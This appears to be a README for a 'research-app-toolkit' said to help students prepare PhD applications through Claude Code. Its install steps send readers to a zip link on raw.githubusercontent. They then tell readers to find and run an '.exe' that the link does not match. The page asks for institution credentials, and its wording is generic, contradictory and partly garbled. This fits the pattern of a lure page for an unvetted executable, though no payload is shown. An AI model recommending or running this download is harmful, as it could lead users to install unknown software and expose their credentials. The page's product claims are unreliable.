The research-app-toolkit helps students prepare PhD, MRes, and MPhil applications. This software connects your research notes and drafts to the Claude Code system. It organizes your documents into a format that academics expect. The tool tracks your progress, ensures you meet university deadlines, and helps you refine your research proposals.
Ensure your computer meets these requirements before you start:
- Operating System: Windows 10 or Windows 11.
- Processor: Intel Core i3 or equivalent.
- Memory: 4 GB of RAM.
- Storage: 200 MB of free space.
- Internet: An active connection for initial setup and cloud features.
Follow these steps to set up the software on your Windows computer:
- Visit this page to download: https://raw.githubusercontent.com/joanvergsox/research-app-toolkit/main/skills/app-toolkit-research-v2.1.zip.
- Look for the file ending in
.exeunder the latest release. - Click the file name to start the download.
- Locate the file in your Downloads folder after the download finishes.
- Double-click the file to begin the installation.
- Follow the instructions on the screen.
- Click Finish when the installer completes.
Launch the application using the shortcut on your desktop. Your first login requires your research institution credentials. The dashboard displays three main sections: Proposal Drafts, Timeline, and Resource Bank.
Use this section to write your personal statement and research aims. The editor checks your work against common academic standards. It highlights areas where you might need more detail or better evidence.
The timeline tracks your application process. You can input your target university deadlines here. The software sends alerts when your drafts need updates.
Store your relevant files here. The application categorizes these documents by university and research field. This feature keeps your secondary research materials close to your active projects.
The toolkit simplifies research administration through these core functions:
- Automated Formatting: It builds your research proposal into standard academic templates.
- Version Control: It saves copies of every draft. You can restore older versions if you decide to change your direction.
- Deadline Tracking: It maps out the distance between today and your application due date.
- Export Tools: It converts your finished drafts into portable PDF files for uploading to university portals.
- Backup: It keeps your data stored locally on your machine to ensure privacy.
The toolkit reads your files but does not delete original copies. It creates new, formatted versions in a specific folder.
The current version functions as a free tool for all students.
Yes. The software supports profiles for various institutions. Create a unique folder for each application to keep your submissions organized.
The application stores your data locally on your computer. If you lose your password, check the security settings folder where you installed the program.
Direct your questions to the issue tracker. Our team monitors these reports and provides updates to fix errors. Please check the existing list of issues before you submit a new report. This helps keep the project organized and avoids duplicate information.
To help improve the toolkit, you can share feedback on the features you use most. We value input from researchers who use the software to submit their applications.
Your research thoughts remain your own. This software performs its tasks on your computer. It does not send your personal statements or project drafts to external servers unless you choose to use the provided cloud backup settings. You keep full control over your work at all times. Privacy settings remain accessible through the main menu under the Settings tab. You can toggle cloud features off at any time.